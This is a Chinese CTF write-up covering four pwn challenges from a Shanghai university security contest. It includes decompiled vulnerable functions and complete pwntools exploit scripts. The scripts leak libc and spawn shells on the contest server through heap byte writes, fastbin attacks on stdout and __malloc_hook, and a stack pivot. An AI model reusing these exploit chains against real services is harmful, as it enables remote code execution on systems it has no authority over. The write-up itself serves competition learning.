第六届上海大学生网络安全大赛 这次比赛干了一天,早餐只吃了点鸡蛋, 午饭没吃, 干完pwn后才去吃的饭,总之今天表现的还不错,pwn给over了,cpu-emulator还拿了三血。。。
比赛开始了半个小时后,我就直接看pwn去了,发现签到题还没做,与我组队的师傅们好像刚好去打线下赛去了,我的队伍第9,而咱们实验室的另一只队伍与第一并其,这次比赛只筛选一只队伍,我们队就去不了了,总之下次好好加油吧,冲进线下!!!
最终排名如下:
pwn1 [cpu_emulator] 这个题拿了三血,刚开始一直没找到漏洞点,不断的分析才知道有个功能堆偏移地址写入。
简单概述 程序pie没开,是一个指令模拟器,实现某些运算操作。输入时先开辟内存储存指令数据,但是没有堆相关的漏洞。
程序运行规则:
输入指令后,进入run函数进行运行,每次取出 dword的数据进行解析指令,以下解释是根据调试出来的,这个ida反编译有误,然而在执行sub_4009A8函数时是取出操作指令数据,也就是26~32位,ida反编译时没有相关的变量来储存这个操作指令,通过调试才发现的。然后就是取出3个被操作数了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 result = (unsigned int )nbytes >> 2 ; if ( src_pos >= (unsigned int )result ) return result; now_src = get_src(); if ( (unsigned int )sub_4009A8(now_src) ) { v6 = sub_400971(now_src, 5 , 21 ); v7 = sub_400971(now_src, 5 , 16 ); v8 = sub_400971(now_src, 16 , 0 ); result = (unsigned __int64)off_401404; switch ( (unsigned int )&savedregs ) { case 1u : return result; case 4u : result = dword_6020E0[v7]; if ( dword_6020E0[v6] == (_DWORD)result ) { v4 = 4 * v8 + 4 ; result = (unsigned int )(v4 + src_pos); src_pos += v4; } return result; case 8u : dword_6020E0[v7] = dword_6020E0[v6] + v8; continue ; case 9u : dword_6020E0[v7] = dword_6020E0[v6] - v8; break ; case 0xA u: dword_6020E0[v7] = v8 > (signed int )dword_6020E0[v6]; break ; case 0xC u: dword_6020E0[v7] = v8 & dword_6020E0[v6]; break ; case 0xD u: dword_6020E0[v7] = v8 | dword_6020E0[v6]; break ; case 0xE u: dword_6020E0[v7] = v8 ^ dword_6020E0[v6]; break ; case 0xF u: dword_6020E0[v7] = v8 << 16 ; break ; case 0x23 u: dword_6020E0[v7] = *(unsigned __int8 *)(qword_602168 + (signed int )(dword_6020E0[v6] + v8)); break ; case 0x2B u: *(_BYTE *)(qword_602168 + (signed int )(dword_6020E0[v6] + v8)) = dword_6020E0[v7]; break ; default : continue ; }
漏洞点在操作指令为0x2b的地方,而qword_602168储存的是堆buf的地址,从这里可以看到,通过v6与v8还有v7的配合可以实现向堆中写入单个字节的数据。
思路 通过以上漏洞修改, heap中tcache struct 0x68位置的地址为atoi函数的got地址,更具atoi与system函数的偏移爆破system函数地址,在调用atoi函数时传入’/bin/sh\x00’即可。
实现步骤:
先将dword_6020E0[0]来储存qword_602168中堆地址到tcache struct 0x68位置的偏移,采用9指令实现负数偏移,8指令来实现我们目标地址的分开但字节储存,也就是atoi函数的got地址,2b指令来实现单字节写入控制好被操作数即可一次写入。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'pwn' MODIFY_LD = 0 arch = '64' libc_v = '2.27' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' if (MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "123.56.52.128" server_port = 18236 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (sz, d ): sla('>>' , '1' ) sla(':' , str (sz)) sa(':' , d)def run (): sla('>>' , '2' )def q (): sla('>>' , '3' )def exploit (): li('exploit...' ) c = ''' mov rax, 1 syscall ''' p = asm(c, arch = 'amd64' ) p = p32(0xafffffff ) libc = ELF('./libc.so.6' ) li('libc_atoi : ' + hex (libc.sym['atoi' ])) li('libc_system: ' + hex (libc.sym['system' ])) ''' 0x6020e0[0] = offset of heap 0x6020e0[1] = our target address 0x6020e0[2] = 0 ''' p = 'A' *0x60 ad(0x60 , p) p = p32(0b00100100000000000000000111101000 ) p +=p32(0b00100000001000010000000001011000 ) p +=p32(0b00100000010000100000000000100000 ) p +=p32(0b00100000011000110000000001100000 ) p +=p32(0b10101100000000010000000000000000 ) p +=p32(0b10101100000000100000000000000001 ) p +=p32(0b10101100000000110000000000000010 ) p +=p32(0b10101100000001000000000000000011 ) ad(len (p), p) run() ad(0x60 , '\x50\xf5' ) db() sl('/bin/sh\x00' ) def finish (): ia() c()if __name__ == '__main__' : for _ in range (256 ): try : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else : io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} ) else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish() except : continue
pwn2 [lgtwo] 概述. 一个典型的菜单堆题。这个题有点坑,pie没开,本来采用unlink打入堆指针数组的,发现got表不能写入。。。远程没法打unlink,操蛋。
程序没给libc,需要自己使用相关技巧来实现获取远程libc版本。
采用手法,故意unlink失败。
1 2 3 4 5 6 7 8 9 10 def exploit (): li('exploit...' ) ad(0x458 , 'A' ) ad(0x68 , 'A' ) ad(0x68 , 'A' ) ad(0x458 , 'A' ) rm(0 ) md(2 , b'A' * 0x60 + p64(0x70 + 0x70 + 0x470 ) + b'\x70' ) rm(3 )
输出如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [DEBUG] Received 0x1b2 bytes: b"*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***\n" b'======= Backtrace: =========\n' b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]\n' b'/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]\n' b'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]\n' b'./pwn[0x400a8c]\n' b'./pwn[0x400cfa]\n' b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]\n' b'./pwn[0x400739]\n' b'======= Memory map: ========\n' *** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5] /lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c] ./pwn[0x400a8c] ./pwn[0x400cfa] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840] ./pwn[0x400739] ======= Memory map: ======== [*] Got EOF while reading in interactive
可以得到__libc_start_main
的地址了,在线libc searcher查询,即可获得libc版本。
查找到libc为: libc6_2.23-0ubuntu11.2_amd64
vul 在添加函数中,存在off by one漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 unsigned __int64 add () { bool v0; unsigned int v1; int v3; int i; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v12; unsigned __int64 v13; v13 = __readfsqword(0x28 u); for ( i = 0 ; i <= 15 && p_addr[i]; ++i ) ; if ( i == 16 ) { puts ("full!" ); } else { puts ("size?" ); _isoc99_scanf((__int64)"%d" , (__int64)&v3); if ( v3 >= 0 && v3 <= 4096 ) { v5 = 100 ; v6 = 200 ; p_addr[i] = malloc (v3); p_size[i] = v3; puts ("content?" ); read(0 , &unk_6021C0, 0x20 uLL); v7 = 1 ; v8 = v5 + v6; v9 = v6; if ( v5 + v6 <= v5 ) v0 = v6 != 0 ; else v0 = v5 != 0 ; if ( v0 ) { v10 = v5; v11 = v6; v12 = v5; } else { v6 = 1 ; } v6 = v5; v1 = p_size[i]; p_size[i] = v1 + 1 ; sub_400806(v1); } else { puts ("invalid size" ); } } return __readfsqword(0x28 u) ^ v13; }
思路 先释放0x71大小的chunk构造fastbin attack 链,采用house of einherjar实现堆重叠,将main_arena地址挤到0x71 fastbin fd地方,parital write修改fastbin fd为_IO_2_1_stderr_
+ 157处,开辟0x71的内存到_IO_2_1_stdout_
修改此结构体泄漏_IO_2_1_stderr_
+192处的地址,计算得到libc基址。
再次使用fastbin attack 打入__malloc_hook
- 0x23处,修改__realloc_hook
为one_gadget,__malloc_hook
为realloc,realloc来进行调整execve第二个参数。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'pwn' MODIFY_LD = 0 arch = '64' libc_v = '2.23' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' if (MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "123.56.52.128" server_port = 45830 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (sz, d ): sla('>>' , '1' ) sla('?' , str (sz)) sa('?' , d)def rm (i ): sla('>>' , '2' ) sla('?' , str (i))def dp (i ): sla('>>' , '3' ) sla('?' , str (i))def md (i, d ): sla('>>' , '4' ) sla('?' , str (i)) sa('?' , d)def exploit (): li('exploit...' ) ad(0x80 , 'A' ) ad(0x68 , 'A' ) ad(0x68 , 'A' ) ad(0x88 , 'A' ) ad(0x68 , 'A' ) lib = ELF('./libc.so.6' ) li('lib stdout + 157:' + hex (lib.sym['_IO_2_1_stderr_' ] + 157 )) rm(0 ) p = b'A' * 0x60 p += p64(0x70 + 0x70 + 0x90 ) p += b'\x90' md(2 , p) rm(1 ) rm(3 ) ad(0x80 , 'A' ) rm(0 ) ad(0xa0 , 'A' ) p = b'A' * 0x80 p += p64(0 ) + p64(0x71 ) p += b'\xdd\x55' md(0 , p) ad(0x68 , 'B' ) ad(0x68 , 'B' ) p = b'\x00' * 0x33 + p64(0xfbad3c80 ) + 3 * p64(0 ) + p8(0 ) md(3 , p) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - libc.sym['_IO_2_1_stderr_' ] - 192 li('leak: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) rm(1 ) p = b'A' * 0x80 p += p64(0 ) + p64(0x71 ) p += p64(libc_base + libc.sym['__malloc_hook' ] - 0x23 ) md(0 , p) ad(0x68 , 'A' ) ad(0x68 , 'A' ) og = libc_base + 0x4527a realloc = libc_base + libc.sym['realloc' ] p = b'A' * (0x13 - 8 ) p += p64(og) p += p64(realloc + 4 ) md(5 , p) sl('1' ) sl('10' )def finish (): ia() c()if __name__ == '__main__' : for _ in range (16 ): try : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else : io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} ) else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish() except : continue
pwn3 [EASY_ABNORMAL] 简要概述 这个题直接就是湘湖杯的原题,添加了个prctl函数,我还以为是沙箱,还得我一直构造rop,一直在构造orw,’./flag’字符串的传入一直困扰我,后面先试试one_gadget是否打通,想不到还真通了。。。
如何获取libc版本,和之前一样, 该提有个uaf漏洞,直接构造double free,泄漏__libc_start_main
从而获得libc版本。
思路 字符串漏洞泄漏libc,在堆中构造one_gadget的rop,一下出现堆栈溢出,能够修改rbp寄存器的值,若覆盖改值,在c++抛出异常后就可实现堆栈迁移至堆中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 gift () { _QWORD *v0; char buf; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("INPUT:" ); prctl(22 , 2LL , &unk_202070); if ( (signed int )read(0 , &buf, 0x28 uLL) > 16 ) { v0 = (_QWORD *)_cxa_allocate_exception(8LL , &buf); *v0 = "YOU ARE TOO YOUNG!" ; _cxa_throw(v0, &`typeinfo for ' char const *, 0LL ); } return __readfsqword(0x28 u) ^ v3; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.arch='amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'pwn' libc_path = './libc.so.6' server_ip = "123.56.52.128" server_port = 10012 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def sn (): sla(':' , '1' )def ad (d ): sla(':' , '2' ) sla(':' , d)def rm (i ): sla(':' , '3' ) sla(':' , str (i))def dp (): sla(':' , '4' )def gift (d ): sla(':' , '23333' ) sa(':' , d)def exploit (): li('exploit...' ) p = '%11$p' sa(':' , p) sn() ru('0x' ) leak = int (r(12 ), 16 ) libc_base = leak - libc.sym['__libc_start_main' ] - 240 li('leak: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) og = libc_base + 0x4527a libc.address= libc_base if (LOCAL): pop_rdi = libc_base + 0x20e22 pop_rsi = libc_base + 0x20218 pop_rdx = libc_base + 0x01b92 pop6 = libc_base + 0x11633f else : pop_rdi = libc_base + 0x21112 pop_rsi = libc_base + 0x202f8 pop_rdx = libc_base + 0x01b92 p = p64(0 ) * 3 rop = flat([ og ]) p += rop ad(p) ad('./flag\x00' ) rm(0 ) rm(1 ) dp() ru('idx 2:' ) leak = u64(ru('\n' ).ljust(8 , b'\x00' )) heap = leak li('leak: ' + hex (leak)) li('heap: ' + hex (heap)) p = b'A' * 0x20 p += p64(heap + 0x20 ) p += b'A' * 0x9 db() gift(p) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else : io = elf.process() else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
pwn4 [maj0rone] 概述 一个简单的堆体,没给libc,自己构造double free泄漏libc,libc版本还是与之前一样2.23的,该题添加了一点花指令,但不影响分析。
vul 在删除功能中存在指针没清零,造成uaf漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 sub_400846((unsigned int )dword_603010, (unsigned int )(dword_60303C + 1 ), v1); } }else { sub_400846((unsigned int )dword_603010, (unsigned int )(dword_60303C + 1 ), (unsigned int )dword_603040); }free (p_addr[v7]); if ( dword_60303C / dword_603010 > 1 ) { if ( dword_60303C % dword_603010 ) { if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
思路 程序没有开启pie,但got没法修改,没毛用,也没打印函数,需要fastbin attack打入_IO_2_1_stdout_
泄漏libc,再次fastbin attack打入__malloc_hook
- 0x23处打one_gadget,修改__realloc_hook
为one_gadget,修改__malloc_hook
为realloc,调整realloc偏移来调整execve第二个参数。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 from pwn import *import os r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True ) ru = lambda x : io.recvuntil(x, drop = True ) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m' ) context.log_level='debug' context.terminal = ['tmux' , 'splitw' , '-h' ] elf_path = 'pwn' MODIFY_LD = 0 arch = '64' libc_v = '2.23' ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6' if (MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "123.56.52.128" server_port = 18523 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (sz, d ): sla('>>' , '1' ) sla('\n' , '80' ) sla('?' , str (sz)) sla('?' , str (d))def rm (i ): sla('>>' , '2' ) sla('?' , str (i))def md (i, d ): sla('>>' , '4' ) sla('?' , str (i)) sa('?' , d)def exploit (): li('exploit...' ) ad(0xd0 , 'A' ) ad(0x68 , 'A' ) rm(0 ) ad(0x68 , 'A' ) rm(1 ) rm(2 ) md(2 , '\x70' ) ad(0x30 , 'A' ) md(3 , '\xdd\x55' ) ad(0x68 , 'A' ) p = b'A' * 0x60 p += p64(0 ) + p64(0x71 ) md(0 , p) ad(0x68 , 'A' ) ad(0x68 , 'B' ) p = b'\x00' * 0x33 + p64(0xfbad3c80 ) + 3 * p64(0 ) + p8(0 ) md(6 , p) leak = u64(ru('\x7f' )[-5 :] + b'\x7f\x00\x00' ) libc_base = leak - libc.sym['_IO_2_1_stderr_' ] - 192 li('leak: ' + hex (leak)) li('libc_base: ' + hex (libc_base)) rm(5 ) md(5 , p64(libc_base + libc.sym['__malloc_hook' ] - 0x23 )) ad(0x68 , 'A' ) ad(0x68 , 'A' ) og = libc_base + 0x4527a realloc = libc_base + libc.sym['realloc' ] p = b'A' * (0x13 - 8 ) p += p64(og) p += p64(realloc + 4 ) md(8 , p) sla('>>' , '1' ) sla('\n' , '80' ) sla('?' , str (10 ))def finish (): ia() c()if __name__ == '__main__' : for _ in range (16 ): try : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else : io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} ) else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish() except : continue